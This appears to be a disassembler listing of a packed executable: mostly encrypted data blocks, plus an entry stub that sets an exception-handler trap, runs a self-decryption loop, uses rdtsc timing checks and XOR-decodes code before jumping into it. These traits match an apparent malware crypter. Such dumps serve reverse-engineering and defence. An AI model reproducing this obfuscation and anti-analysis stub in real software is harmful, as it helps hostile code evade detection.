0C41FE8D7h, 73B3D641h, 1713F6A8h, 0B660958Dh dd 20F8D3A8h, 36CD0448h, 5600B36Dh, 5AD3088h, 5F864EC0h dd 0BDBC1837h, 0C0086F97h, 7FA386E0h, 46C13357h, 0A68D8FF0h dd 0EB938143h, 36E0151Dh, 57AAA728h, 4018F30Ah, 8ACE568h dd 7FA7CD76h, 0B010CF18h, 0A6678FB3h, 62DEF50h, 8B732123h dd 64FDDBE7h, 6B18C6F7h dd 1CF019A0h, 0B8FDB5FFh, 20FBD09Eh, 0EEEC7048h, 589D951Fh dd 0D8B0BEh, 820C5628h, 78BD753Fh, 0E0B8905Eh, 852D3108h dd 0DF052240h, 651D87B7h, 603826D0h, 74DCB088h, 5E75B82Dh dd 0C5EF0F37h, 0E08EA8CDh, 8058300Ch, 4710C7DCh, 78678FB6h dd 0A8C6D0C1h, 0C0D00823h, 18D3545Ch, 27F308BDh, 453D67C3h dd 88580630h, 55F8D0A8h, 6325F007h, 603826D0h, 3B30F6FCh dd 1887AFD6h, 8931E8E1h, 0D8273562h, 6498303Eh, 0BF5DDAABh dd 6B984670h, 0EA92A158h, 36E0130Dh, 0E0C8FA28h, 788775C2h dd 8612905Eh, 77A5D2B0h, 16C0752Dh, 0C0986048h, 0D03F64E8h dd 0B8BE1AC1h, 0B1EAC5Dh, 73B21878h, 5D313BA8h, 806E0FA0h dd 185D555Fh, 0C0B8707Eh, 694D10E8h, 85D2E838h, 0A04E68B5h dd 0C1A09662h, 453D67A8h, 0C0580630h, 54F8D0A8h, 0E85CF04Bh dd 58A5B5E2h, 0ABBEB0BEh, 9FD4EDA1h, 0B7B3F0FEh, 0D68035EDh dd 80583008h, 90F1A5E8h, 5D1D7218h, 0CA3826D0h, 387D357Fh dd 0A0F8501Eh, 4B6DF0C8h, 65B228D8h, 806E0896h, 46C53B02h dd 378041F0h, 5600B56Dh, 0D9B088h, 107A2428h, 0DEBDFAE1h dd 20B8A650h, 255233ECh, 20CEE836h, 78FEDB2Eh, 0E5CFE069h dd 0EE882Dh, 0A0785228h, 88ACF2BDh, 0D8263562h, 2B3E303Eh dd 1F306D21h, 7020707Eh, 0CB3810C0h, 387D357Fh, 0A070501Eh dd 316CF0C8h, 1F45A180h, 25DDC7F7h, 20F8E690h, 0B598704Ch dd 6A80A0E3h, 36E02F0Dh, 0ED93FA28h, 78BD753Fh, 0E8B8905Eh dd 912D3008h, 0C07B68CEh, 0F807D542h, 0CB5E10DEh, 0EB7270BBh dd 89C0363Dh, 0DFBDFAD0h, 20B8A650h, 255233ECh, 20CEE837h dd 456FDB2Eh, 600E284Dh, 0D8A088h, 60F9E84Eh, 8498F3BCh dd 7F1D9A60h, 0E6580630h, 0A54EDF03h, 0C0AE48EBh, 9CF8F843h dd 852F4F77h, 0A04E688Dh, 18F0C8h, 0B008991Ch, 0B8C5B50Ah dd 0D752D09Eh, 0F6A0D5CDh, 601810E8h, 755E0088h, 2D7C542Ah dd 0E5920E87h, 0E08EA8F5h, 0BFE8BD81h, 8B9ED09Eh, 0B59D8CC8h dd 0E038A0EFh, 0AA984FC7h, 5F8429C0h, 0E59D0737h, 0E0B8A650h dd 0E6583048h, 55C9B610h, 0A6B1C44Ah, 6A20A043h, 36E02F0Dh dd 0A3989028h, 0BC4C1862h, 68086F97h, 0B8FDB5FFh, 0A0F8D09Eh dd 0C2ED7048h, 0C5B29658h, 0EE8815h, 5CF8FB4Eh, 0F01F85CDh dd 1FF71068h, 0ABB09A48h, 0D7072F54h, 0F6A0D5CDh, 613810E8h dd 0B0D3C588h, 3DFD5A68h, 0EA18C6F0h, 58DE9F83h, 2552F08Bh dd 20CEE835h, 0C128DB2Eh, 0C5BDE742h, 0D886B0h, 0D5785228h dd 0E59D07E7h, 0E0B8A650h, 0F5583408h, 2A3860B2h, 0F6A0EFCDh dd 0C49D9AE8h, 0C1D886B0h, 181E40C8h, 0F0B371AEh, 50B07B68h dd 1FDD3A48h, 8AF8E690h, 0F83DF5BFh, 603810DEh, 10ADB080h dd 48FBE84Eh, 788655C2h, 4BDE905Eh, 88B331B8h, 0A5F29818h dd 0C0AE48D6h, 0C5BDE742h, 0D886B0h, 11784028h, 263D85BDh dd 0EA4013D0h, 0B660AEADh, 1353B6A8h, 7DB1DA88h, 600E2F58h dd 387D357Fh, 0A078501Eh, 5F6DF0E8h, 0FB53E7D9h, 9851886Eh dd 186675A2h, 2458707Eh, 0FE9D1AEBh, 66D886B0h, 10C57983h dd 0CA18C6F7h, 501D1AA9h, 0E6580637h, 22A06003h, 0F6A0EDCDh dd 0E5CFBAE8h, 0EE882Dh, 0A178502Bh, 0C5EFD2BCh, 0E08EA8CDh dd 84583008h, 0A50FC6DDh, 0C0AE48EDh, 633810E8h, 8430B5FDh dd 4887AFD2h, 0BFE70A63h, 0D81D159Fh, 8058303Eh, 238CD8A8h dd 3732B9F8h, 5600B56Dh, 0D8B088h, 105824A8h, 0DD9DDACFh dd 21B8A650h, 9552AE8h, 22F8F4A0h, 0F6A0EDEDh, 63DCD0E8h dd 0ABDC7408h, 0C6D23198h, 4AF80F70h, 0D6800DCDh, 77F35608h dd 16C0752Dh, 0C0985048h, 976B64E8h, 36E0150Dh, 0A0785028h dd 0B71584E8h, 0E0B893AFh, 305D4408h, 0D3137A38h, 4D13B7C3h dd 600E2F40h, 415171A3h, 0AA20E0D4h, 76206D4Dh, 654F3A68h dd 806E08ADh, 20B8D0A8h, 78FE7C3Ch, 0E532D3B8h, 0EE8815h dd 181E5AC3h, 0E5121037h, 0E08EA8F5h, 5AF9B6Eh, 20CEE80Dh dd 0C198704Bh, 0E5CF639Ch, 0EE882Dh, 80785028h, 87EFFDBCh dd 0E0B8906Bh, 10E8357Ch, 0AB0B3B02h, 1DFB87h, 4B3826D7h dd 0FC903940h, 258F991Bh, 402EC86Dh, 0E0389068h, 5D53E7Dh dd 20CEE835h, 40D878C2h, 984B1311h, 4415B405h, 6178400Ch dd 0CBA8F828h, 86BE73C3h, 0E69801B0h, 0AF40B603h, 0C02018C8h dd 813A10E8h, 0AB801BEEh, 0A60D99ADh, 802948AEh, 23083B0Eh dd 30DDBDA2h, 0D7F8E690h, 0F6A0D5CDh, 603810E8h, 57DEC598h dd 4B20A803h, 684B7BD1h, 30936843h, 0BF90BD83h, 0B5F9D09Eh dd 0C0AE4FE0h, 24B329E9h, 0BD51B4ACh, 0A04E404Fh, 7FB44D43h dd 6593905Eh, 806E0FA0h, 185D555Fh, 0C0D8707Eh, 624C10E8h dd 0C273687Fh, 0F72E502Ch, 7FF84D4Bh, 0EFB8905Eh, 8059E98Ch dd 20F538A8h, 85D37048h, 2C7D5EBAh, 44F682BBh, 5F781C64h dd 7623625Dh, 143D1968h, 0D3580637h, 23C48823h, 0E8EB8F90h dd 880C5363h, 0FF274568h, 9FACC5A3h, 4343F0FEh, 65319C2Ah dd 806E0FF0h, 0A9F092ABh, 0F6A78CCDh, 484B9BE8h, 580377h dd 19905028h, 0CBE70F3Dh, 0D68744D5h, 2DB06608h, 0AB072F5Dh dd 0F6A7A4DDh, 68729BE8h, 2BD4FA8Bh, 0A591D3E6h, 417878C7h dd 64B79068h, 80583152h, 1F2065ABh, 759B707Eh, 600E2F70h dd 0F308C24h, 0A078F2ADh, 445E7DC8h, 0DF201543h, 865B303Eh dd 0D59238F8h, 7D1B8FB7h, 600E2F3Ch, 3BD3C588h, 23775C6Fh dd 4018F1D3h, 75819C83h, 806E0FDCh, 21F555A7h, 459B7048h dd 600E2F70h, 0FFE031EEh, 5CFD5F0Dh, 0CB18F0C8h, 0A3939228h dd 0ADB0603Ch, 19072F5Dh, 0F6A7A4F5h, 84BD1FE8h, 3D8B088h dd 964788ADh, 0D89DF3C8h, 6BB8A657h, 8C1F1B08h, 203552A7h dd 87A37048h, 0A4BB1FE0h, 83D8B088h, 0E77B52E8h, 0D89DF3DCh dd 0B2B8A657h, 74EDCF58h, 0DFF8E697h, 0F6A322DDh, 0A0BD4AE8h dd 6F3587h, 3C915028h, 7C18F0C8h, 743D9F97h, 583008h, 0A5F7C596h dd 0C09870C3h, 4B395663h, 0E88884CBh, 5F87A494h, 7FCC4DF1h dd 97CD905Eh, 0BF80B50Bh, 0A5FBD09Eh, 0C0AE4FD0h, 20389561h dd 53B0BEh, 9F80D513h, 486AF0FEh, 0DF441553h, 0E92A303Eh dd 20F8D095h, 28AF0238h, 603810F7h, 8B24FE05h, 0A37A7BE9h dd 0C523E08Ah, 0E08ED068h, 44DB3C7Dh, 0AFC92FB8h, 0A184540Ch dd 0EFFB0B03h, 36E7080Dh, 15F33028h, 402ECF50h, 1F4DCA80h dd 80F151F7h, 5578D0A8h, 0CCDF5B46h, 2703199Ah, 3C5ABF80h dd 0E987AFD7h, 0BEAA75C7h, 0DC336F97h, 25FFB12Ch, 0DFF8D080h dd 2BE78FB7h, 447291AAh, 0E0D8B0E8h, 2BB86366h, 0C59FD4C4h dd 0E08EAF88h, 0BF84B581h, 9975D09Eh, 0C09858E1h, 5FA095EBh dd 0A5BEB0BEh, 66531E8Dh, 6B0CB2CBh, 0A67E9C2Ah, 19FD8F3h dd 20F8D0FAh, 0C098704Dh, 3FC45661h, 0FF8F73D6h, 9643CEBDh dd 5FF031C8h, 0E1A21567h, 0D4083008h, 0DF92F8C2h, 0FB66E5B7h dd 0A0BD10DEh, 550BFD7h, 48785029h, 0BFE71588h, 0E0B88180h dd 0F43D6308h, 4594B9EEh, 0B5FB151Bh, 194C799Ah, 0B527B0C9h dd 0A04E6F44h, 7B4A6537h, 6531905Eh, 806E0F7Ch, 20F8C940h dd 94FD2348h, 2F5D7B89h, 72BDDEFFh, 0D011385Bh, 36718298h dd 87DDFC01h, 680F306Dh, 0DF0739B9h, 0C09863A0h, 325D43E8h dd 6FACC3EDh, 0D228355Ah, 2C7186A1h, 0E0DDF70Dh, 68ABD85Fh dd 32102F57h, 93987048h, 359528Dh, 50A8C5E3h, 0C90E395Ah dd 257F95A4h dd 3650C768h, 68A7CFE0h, 20F8D0B0h, 0A8DB151Bh, 55F7E89h dd 69ACDFC6h, 0D228294Eh, 2C7186A1h, 0E0DDF70Dh, 68EBD85Fh dd 74A82F57h, 0FA28F5C5h, 45210DEh, 57D9DAD8h, 9C72C5D7h dd 7C91F0FEh, 0A62D6F4Ch, 0AA580633h, 48455D68h, 90984676h dd 0D5C740B8h, 0EE8A38h, 0A4785140h, 4172A4C8h, 942D6F3Fh dd 0D4580637h, 0DFAFD4C2h, 0F6A704DDh, 74FC93E8h, 3FB40577h dd 3587501Eh, 402ECB4Ah, 55355337h, 806E0E60h, 0A66D2FFEh dd 43984673h, 0E437EF10h, 0D8B033h, 9F00D5A1h, 4072F0FEh dd 222D6F3Eh, 5580633h, 847CDF68h, 0EB987048h, 0A684028h dd 1B2E08Bh, 0A0785040h, 0D5E7A608h, 0E08EAB0Ah, 8FA7C88Bh dd 20FD382Ch, 0BC1DF948h, 0ED3826D7h, 36E73005h, 28EDDD28h dd 1118C6F7h, 0B0B8FA3Ah, 0BBD6A5F7h, 0D87BD09Eh, 761C7FB7h dd 0A3810EDh, 7C6D4F88h, 5F786617h, 76237A5Dh, 1F401368h dd 85C7B407h, 0A571D0A8h, 0C0AE4FD8h, 0A33BD9DBh, 6A89E0D9h dd 1587012Ch, 402ECFB4h, 0DBDE0597h, 40DD303Eh, 258354A7h dd 9AB7048h, 5FAC9561h, 5189B0BEh, 0A0673879h, 0BF48F0C7h dd 0D6833EFDh, 8F98B508h, 20FDE42Ch, 581DF948h, 0A33826D7h dd 0A8B830h, 9833DB28h, 78BD753Fh, 0E0B8905Eh, 862D2008h dd 309F55ABh, 12AB707Eh, 91CFD1EBh, 8551517Fh, 0A04E6F8Ch dd 40305F70h, 0DCF31B68h, 903FB50Bh, 0F2CBD09Eh, 316FB14Bh dd 0E5B1F11Fh, 0EE8F14h, 0EBCF5FEBh, 75FB09CEh, 0EFA0C3E5h dd 834C73BFh, 0E1939978h, 41487360h, 94F4FD2h, 1DAC49E6h dd 0A1742AABh, 0B9310BAh, 0F4FA1B54h, 0D48720Bh, 0D70798ECh dd 0FB595391h, 5607806Dh, 54537388h, 604B400Ch, 40A07247h dd 6B7B9068h, 0D53DBC7h, 16C6B815h, 1F138C48h, 5C94D9DBh dd 3CDEC2E9h, 8C7A2752h, 1C245AE8h, 0CE847C1Ch, 8064ED7Ch dd 0E91B38DDh, 85A571C3h, 143855B0h, 438B8D83h, 2577507Ah dd 0BFE70FFBh, 0B78593E3h, 8F1B7E41h, 0DF07F62Ch, 83CF4DB7h dd 0E4375EBDh, 0FF274F93h, 933B0715h, 509CFFFAh, 0DD476F97h dd 0CF0C6358h, 0DFFD54A7h, 1BAB8FB7h, 9FC63D00h, 0E8C8C577h dd 5F87ACD2h, 0BFE6D120h, 0C3C9F97h, 0B3A7CFF6h, 20EE387Ah dd 0A3707048h, 88C7EF17h, 0D8B088h, 0F395D175h, 0A918C6FBh dd 0E0B893B3h, 0B6ACF6Ch, 16C7481Dh, 0E2111448h, 2D06918Eh dd 0C45DBFD2h, 2B78502Bh, 9E1BCC96h, 0B083110Eh, 34DD3F4Dh dd 0D7F8D0ABh, 0E098660Bh, 0E53710E8h, 0D8B32Fh, 0A22413DEh dd 438574C7h, 0A3339068h, 20F80D00h, 0A4F77008h, 0C09873C7h dd 401830D5h, 845CBFA8h, 4878502Bh, 0BFE70E71h, 0E3C11267h dd 25DB3008h, 20CEEF74h, 0C8DAFB48h, 4B285A63h, 33DCC349h dd 0A37DBBE8h, 50527900h, 0DF1815E1h, 0CA5B303Eh, 20F868A4h dd 28C97049h, 9FC7F778h, 387B25B8h, 80C9501Eh, 78BC45F8h dd 0C0D2905Eh, 0F800F9F6h, 0C78E38BCh, 121D8FB7h, 0B3FA84E7h dd 0A54D816Ah, 4B786610h, 0E59D072Dh, 0E0B8A650h, 0F4593008h dd 857D278Ah, 0C3984670h, 153810E8h, 0A57D3184h, 5F786610h dd 0ABE30F37h, 45351162h, 80580630h, 48F0D0A8h, 0C098704Eh dd 603E78B1h, 0E880B088h, 5F87B700h, 78857542h, 643E905Eh dd 0B660AD22h, 0BD7D58A8h, 22984670h, 0C5BDE708h, 8D886B0h dd 0D5785028h, 0DFA570C1h, 0E1B8A650h, 5AFF57Ch, 20CEE80Dh dd 0C8987048h, 0DDB80B9Ch, 0EE8815h, 20C8242Dh, 76206E75h dd 47CC9568h, 0B8C78D88h, 54FDD09Eh, 651D87D6h, 603826D0h dd 7458B088h, 3DC5D021h, 4218C6F0h, 453B191Fh, 806E0FE8h dd 0D3FF38A8h, 0A1708FB7h, 88C7EF15h, 0D8B2F8h, 9FE4CDA3h dd 0DD1BF0FEh, 0E08EAFC8h, 7FA449E0h, 707CDF57h, 4B98704Ah dd 5607885Dh, 3C863B88h, 0DA908E2Bh, 4FE70F35h, 0E0BAAAEAh dd 0A412B108h, 0C0F8D0C8h, 96CA8EC3h, 632C6AEBh, 852FA0F2h dd 0A04E688Dh, 5018F0C8h, 5D31841Dh, 806E0FECh, 18486525h dd 4D13707Eh, 600E008Fh, 0B98F147Bh, 0A0785A04h, 50184545h dd 454B905Eh, 82BB30B9h, 0A50F745Bh, 0C0AE48EDh, 703810E8h dd 763487h, 0D3875028h, 0AEAE18E0h, 75336F97h, 806E0FDCh dd 0A4F7022Dh, 0C09870D0h, 5FA0A563h, 4A53B0BEh, 8432D138h dd 0A018F0A8h, 93B0DA43h, 8391030Ah, 0ADC3C4DAh, 0C0AE602Fh dd 705F9D63h, 56AAB0BEh, 235C6CA3h, 7608976Dh, 473B9068h dd 8058306Fh, 28825BA8h, 0C3903A49h, 0EBCF971Fh, 36E71C0Dh dd 5FDA728h, 18C6F0h, 94B89068h, 8340C70Ah, 10D1DCDAh dd 0FF78C5C1h, 13B310DEh, 0F7E8B1A0h, 9640F5ADh, 4018B0C8h dd 17BAE468h, 0C9B06110h, 79072F54h, 0B39B7CA3h, 6C4A3BC0h dd 0A42BE6D9h, 15F50977h, 402EC878h, 0DF5C2DE1h, 24AB303Eh dd 11F78EF7h, 131FFDDAh, 5A3810E8h, 36E0131Dh, 0C97E2528h dd 744E881Ah, 10E8187Ah, 7F8290E0h, 6A738A57h, 0D0D27344h dd 589D951Fh, 0D8B0BEh, 0E1F54028h, 0C90B85CDh, 0D68770E5h dd 0E7DD3308h, 0A3F8E6B8h, 0C09817EFh, 231310E8h, 525F39A0h dd 57785028h, 7624904Dh, 0E0B89168h, 475F4408h, 8058D8EBh dd 456FD0E8h, 600E284Dh, 80D8B088h, 482A575Ch, 0BFE707B2h dd 351B32h, 63580637h, 8B359ADh, 4D137DA3h, 600E2F34h dd 333B26Bh, 57501BA3h, 7620554Dh, 0E0B89368h, 0B4C4408h dd 16C7342Dh, 10157348h, 633826D7h, 36E77C0Dh, 2B705128h dd 0C593E082h, 0E08EAFF4h, 0F3507A31h, 28B259ABh, 43883249h dd 0EB38488Bh, 36E7140Dh, 88C83828h, 219F0C8h, 0A3B9C960h dd 23CDBA58h, 0D7F8E690h, 0F6A0D5CDh, 603810E8h, 3DEC498h dd 966837A5h, 0B71846C8h, 0D68035EDh, 82583008h, 0DEECA5A8h dd 651D878Eh, 603826D0h, 75D8B488h, 4CDDA2Eh, 0B718C6F0h dd 0D68035EDh, 80183008h, 0AAF3A5A8h, 6A5A724Fh, 97DAC6EAh dd 752B963h, 0A2D2921Ah, 73EF121Eh, 0C233F4BAh, 0D85ABF6Ch dd 1F846D2Bh, 0CF98707Eh, 9FC2CE6Ch, 986D4F77h, 5F786617h dd 7623225Dh, 740D6F68h, 7F580637h, 16C3963Dh, 4015FD48h dd 0ED3826D7h, 36E7381Dh, 0CA2A0128h, 3CAD0FC8h, 1FB8A657h dd 0B663F69Dh, 5C4D2FA8h, 3F984677h, 5603567Dh, 686D3D88h dd 5F786616h, 7627887Dh, 7547C668h, 806E0BCAh, 1F84752Bh dd 398707Eh, 60381000h, 1B2ED88h, 97C8BDA9h, 0B040F0FEh dd 943D5167h, 558061Dh, 0E87B1368h, 19780B7h, 562D646Dh dd 10E57388h, 0D5787A28h, 3C9996D4h, 91D49C4Ch, 6838237Dh dd 0DF072F6Ch, 1470753Dh, 88C7EF12h, 0FF274F5Ah, 8D877E49h dd 522CA6B0h, 0E0B8B5D0h, 25B05008h, 55072F57h, 0E4DCFB71h dd 88D9DD8h, 8BD886B6h, 211E5878h, 331AF6F2h, 0E0D0C64Dh dd 0B58CF08h, 72F8BA6Ch, 0D20D8F18h, 0E33826D4h, 3E59B84Ch dd 0FC476F74h, 869BF3BDh, 1A39786Ch, 0FFB0CFF7h, 41072F57h dd 0C0ECC88Bh, 0D1D310E8h, 0D89F30h, 0A065B828h, 60DAF0C8h dd 0E0882868h, 90B03008h, 0E2F8D0A8h, 4520706Ch, 883810E9h dd 0D8B08Bh, 2D787CEAh, 8D14D49Ch, 0E0401346h, 68382974h dd 20F8D0A8h, 0F0BC24C3h, 0E1229BB5h, 36E03765h, 41C2B828h dd 82790F37h, 0E1BA906Ch, 865D370Bh, 3E097297h, 15FF69CDh dd 1001194h, 90h, 1CDh dup(0) dd 12FFE000h, 13E0h dup(0) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame public start start proc near push ebp mov ebp, esp call sub_3143A017 call sub_3143A08B mov ebp, 12FFC0h ; DATA XREF: sub_3143A017+Cw jmp loc_3143A04B start endp ; =============== S U B R O U T I N E ======================================= sub_3143A017 proc near ; CODE XREF: start+3p push dword ptr fs:0 mov fs:0, esp mov dword ptr ds:loc_3143A00D+1, ebp xor ecx, ecx push 80000000h push 800h push ecx push ecx push 2 push 8 push ecx push ecx push ecx push ecx call ds:dword_3142808C ; LoadLibraryA loc_3143A04B: ; CODE XREF: start+12j call $+5 pop ebx add ebx, 48h mov ecx, 28B0h cld sub edi, edi or edi, 46h cld cld cld push ebx loc_3143A069: ; CODE XREF: sub_3143A017+65j xchg al, [ebx] cld sub ax, di stc xchg al, [ebx] add ebx, 1 inc edi sub ecx, 1 cmp ecx, 0 ja short loc_3143A069 pop ebx mov edi, [ebp-8] mov fs:0, edi leave jmp ebx sub_3143A017 endp ; =============== S U B R O U T I N E ======================================= sub_3143A08B proc near ; CODE XREF: start+8p arg_C = dword ptr 10h mov eax, [esp+arg_C] pop dword ptr [eax+0B8h] xor eax, eax retn sub_3143A08B endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_3143A098 proc far ; DATA XREF: UPX2:3143D080o var_4 = dword ptr -4 ; FUNCTION CHUNK AT 3143A16B SIZE 000000A1 BYTES ; FUNCTION CHUNK AT 3143A249 SIZE 0000008B BYTES ; FUNCTION CHUNK AT 3143A306 SIZE 00000073 BYTES ; FUNCTION CHUNK AT 3143A3AE SIZE 00000027 BYTES call $+5 mov eax, [esp+4+var_4] cld mov [eax+2FE3h], ebx test dword ptr [eax+28A0h], 80000000h mov ebx, [esp+4] jz short loc_3143A0E3 pop ecx mov [eax+2FE7h], esi mov [eax+2FEBh], edi cmp byte ptr [eax+28A4h], 0E8h jnz short loc_3143A0DA add ebx, [eax+28A5h] mov ebx, [ebx+2] push dword ptr [ebx] jmp short loc_3143A0E2 ; --------------------------------------------------------------------------- loc_3143A0DA: ; CODE XREF: sub_3143A098+33j mov ebx, [eax+28A6h] push dword ptr [ebx] loc_3143A0E2: ; CODE XREF: sub_3143A098+40j pop ebx loc_3143A0E3: ; CODE XREF: sub_3143A098+1Dj push ebp mov ebp, eax sub dword ptr [esp+4], 809Dh sub ebp, 361005h mov edi, [esp+4] lea esi, [ebp+3638B0h] mov ecx, 0 rep movsb call sub_3143A158 mov ecx, eax call sub_3143A158 sub eax, ecx jz short loc_3143A12C cmp eax, 100h ja short loc_3143A12C lea eax, [ebp+3610D3h] ; CODE XREF: sub_3143A098+F7j mov dl, [eax-10h] call sub_3143A15C jmp short loc_3143A16B ; --------------------------------------------------------------------------- loc_3143A12C: ; CODE XREF: sub_3143A098+7Bj ; sub_3143A098+82j test dword ptr [ebp+3638A5h], 80000000h jz short loc_3143A156 lea esi, [ebp+3638A9h] mov edi, [esp+4] movsb movsd mov esi, [ebp+363FECh] mov edi, [ebp+363FF0h] mov ebx, [ebp+363FE8h] loc_3143A156: ; CODE XREF: sub_3143A098+9Ej pop ebp retn sub_3143A098 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_3143A158 proc near ; CODE XREF: sub_3143A098+6Dp ; sub_3143A098+74p rdtsc retn sub_3143A158 endp ; --------------------------------------------------------------------------- db 0BCh ; =============== S U B R O U T I N E ======================================= sub_3143A15C proc near ; CODE XREF: sub_3143A098+8Dp mov dh, dl mov ecx, 27D2h loc_3143A163: ; CODE XREF: sub_3143A15C+Cj xor [eax], dl inc eax add dl, dh loop loc_3143A163 retn sub_3143A15C endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_3143A098 loc_3143A16B: ; CODE XREF: sub_3143A098+92j cmp eax, 5300349Bh xchg eax, edi movsd wait ror byte ptr [esp+edi*2+4+var_4], cl mov ecx, 410C3CFFh xchg eax, edi cmp ch, dh mov al, 6Ch pop ebp or ebp, [ebx] lahf sbb edx, [edi-376D554h] sar byte ptr [ecx-73h], 1 pop eax sti jl short near ptr loc_3143A11C+5 cmpsd mov bl, 97h stosb mov ah, 0DBh inc esi rol byte ptr [edi+7715ADB3h], 1 rep mov ch, [ecx] sbb al, 22h test al, 0C8h and [ecx], ebx dec ebp lock inc ecx outsd fistp qword ptr [ecx] push eax test [ecx-3E463176h], ch wait cmp eax, 76C3A8DCh in al, 25h cmp eax, [edi] mov edi, 2BAA2CDBh db 26h add al, 0D7h imul eax, edi, 3Ch inc ebx or edi, 10h mov eax, 0E7E82C70h or al, 73h stosd icebp sbb [ebp-5Ah], ch loopne loc_3143A207 cdq mov eax, 213ACF27h loope loc_3143A249 out 0AEh, eax ; Interrupt Controller #2, 8259A push esp clc ror dword ptr [eax+0AFF0044h], 51h xchg eax, ecx fmul dword ptr ds:36F99661h pusha xchg eax, ecx mov word ptr [ebx], ds sti push ss cmc mov ebp, 285A8BBEh or al, 0ADh pop esp sbb ah, dl xlat loc_3143A207: ; CODE XREF: sub_3143A098+141j sub [eax+ecx*4-1Fh], edi dec edi ; END OF FUNCTION CHUNK FOR sub_3143A098 ; --------------------------------------------------------------------------- dd 5E02F18Ch, 4F60D687h, 89D94227h, 0FC76BF86h, 0EC33B750h dd 0D3E0E1A8h, 33EF571Ch, 29FF1477h, 0ACC60F36h, 19EFE4EDh dd 8CD017D9h, 69ECB9C8h, 19B1F40Eh, 0B4151B3Ch, 0B290E227h db 85h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_3143A098 loc_3143A249: ; CODE XREF: sub_3143A098+149j call near ptr 6D3BACE3h cmc test al, 0FDh xchg eax, edx pusha loc_3143A253: ; CODE XREF: sub_3143A098+218j neg edi pop ss cmc mov ch, bl mov dl, 40h cld cmp edx, ecx inc esp stc sahf and fs:[edi+3Dh], bl sub al, 5 cli mov [ebx+eax*4+19h], al add al, 21h mov byte ptr [eax+ebp*2-76E6D98Dh], 6 out 8Ch, al dec ecx lea esi, [ebp+2Eh] add eax, edx mov al, 0E1h popf adc al, 0B5h push 18h out 59h, eax sal dword ptr [ebp-7F54466h], 5 push eax les esp, [edi+60h] sbb al, 87h imul eax, ebp, -6Eh rep mov dl, 40h cmp eax, 683F6B50h jl short loc_3143A306 and ah, bl adc edx, [ebx] add al, 0A6h enter 0FFFFC347h, 0D4h js short loc_3143A2D2 lock movsb loope loc_3143A253 mov dh, 0A7h outsb adc al, 0B8h test [eax], edi add al, 0C0h push ss cmp [ebx], cl and eax, 0A0D213BAh fstp1 st fist dword ptr [edx] ; CODE XREF: sub_3143A098:loc_3143A2D2j or al, ah sub byte ptr [ebx+3C700175h], 0DEh movsb loc_3143A2D2: ; CODE XREF: sub_3143A098+214j jmp short near ptr loc_3143A2C5+2 ; END OF FUNCTION CHUNK FOR sub_3143A098 ; --------------------------------------------------------------------------- dd 0C5C9761h, 0FCAD05C8h, 613042A8h, 0EA32353Dh, 33B5A798h dd 9CECC76Ah, 0A49AC8F3h, 11B9E45Bh, 0BACB2DCDh, 0F76BF748h dd 7CE77DC4h, 0BBCA3D6h db 70h, 0D7h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_3143A098 loc_3143A306: ; CODE XREF: sub_3143A098+208j nop dec ebp or [ebx], bh adc eax, 7082C36Ah scasd sub al, 84h in eax, 0DCh xlat adc bh, cl push cs enter 0FFFFD784h, 96h mov eax, 0A884311Eh pusha and [eax+esi*8+54h], bl ; CODE XREF: sub_3143A098+2B7j adc ch, cl ; CODE XREF: sub_3143A098+2BBj mov [ebx+243EA95h], bh lock sub [eax+5A1E642Bh], ebp adc al, 0D0h out 48h, al push esp test al, 7Ch cmp al, dh mov al, 6 loc_3143A340: ; CODE XREF: sub_3143A098:loc_3143A3AEj sub ds:0BE4F5048h, ah xchg eax, ecx sbb al, 60h lds eax, [eax-1AB407C3h] jp short near ptr loc_3143A322+2 xchg eax, edx pusha jz short near ptr loc_3143A326+1 xchg eax, esp push ecx or al, 37h adc [esi], edx mov dword ptr [esi-5716278Ch], 0C9352064h push esi adc ah, cl loop loc_3143A3AE pop ecx pop edi jb short loc_3143A3CC ; CODE XREF: sub_3143A098+32Dj cli push ebx std out dx, al fld tbyte ptr [edx+4F21FF58h] retf ; END OF FUNCTION CHUNK FOR sub_3143A098 ; --------------------------------------------------------------------------- db 0B9h, 0B6h, 47h dd 63B0F40Eh, 5CA2D0ACh, 4C963C18h, 68CEC408h, 2C3CF8BCh dd 27F23117h, 0B9DD94EEh, 0FC769302h, 51BDBD8Bh, 0DC165F76h dd 24835A29h, 0BC0046FCh db 0FBh, 89h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_3143A098 loc_3143A3AE: ; CODE XREF: sub_3143A098+2D0j loop loc_3143A340 pop esi and al, 0E0h xchg eax, ebx fcom qword ptr [edx+edx*8] mov word ptr [eax-71h], cs inc ebp sahf add eax, edx mov al, 93h pop eax in eax, 2Fh ftst jecxz short near ptr loc_3143A36C+1 dec esp add dword ptr [ecx+7Ah], 7 loc_3143A3CC: ; CODE XREF: sub_3143A098:loc_3143A36Cj into mov ah, 8Fh pop esp jmp near ptr 11998900h ; END OF FUNCTION CHUNK FOR sub_3143A098 ; --------------------------------------------------------------------------- db 0A2h, 50h, 87h dd 0CA7B624Dh, 0ED408BB8h, 0E470E127h, 419B54AEh, 0BC367F62h dd 0DD0F2E9Bh, 0C165AB69h, 7D02260h, 4AFBF6C5h, 93B91738h dd 0D92FE559h, 4CA6EC72h, 3C817CE0h, 44CD39F8h, 976092D4h dd 0FA50FE17h, 0F8307B11h, 8633953Bh, 8BD967E8h, 0D47A54F2h dd 0A9D7F105h, 0B549344Eh, 11E02468h, 732E595Ch, 0D7A6FBB7h dd 6CFDF0B5h, 3AA0E428h, 48D759B3h, 0B164F6A3h, 1A4BA06Dh dd 950608E8h, 8FFBF2DAh, 9A2860Ah, 0EC5AA033h, 0DC506DC0h dd 0A6DCDF98h, 0D6C4CF88h, 0ACF05C78h, 0DC8A2C68h, 82BA4609h dd 9255FB18h, 34B0C203h, 34E020ABh, 4C90A411h, 3CEA1083h dd 6C1A7873h, 1E0AA482h, 6450FE8Ah, 0FC40F4C1h, 866174D2h dd 49DF3457h, 0CC266F6Eh, 43851DD7h, 0ADF7B077h, 296D2468h dd 8CE60458h, 7CCC07F1h, 9F5F7F38h, 5C4D658Dh, 0C190E208h dd 0A94F38Dh, 7C904BF8h, 7640CEBCh, 0F2C56B27h, 7940B2F3h dd 0D8452B78h, 0DC212A40h, 0CC01BC98h, 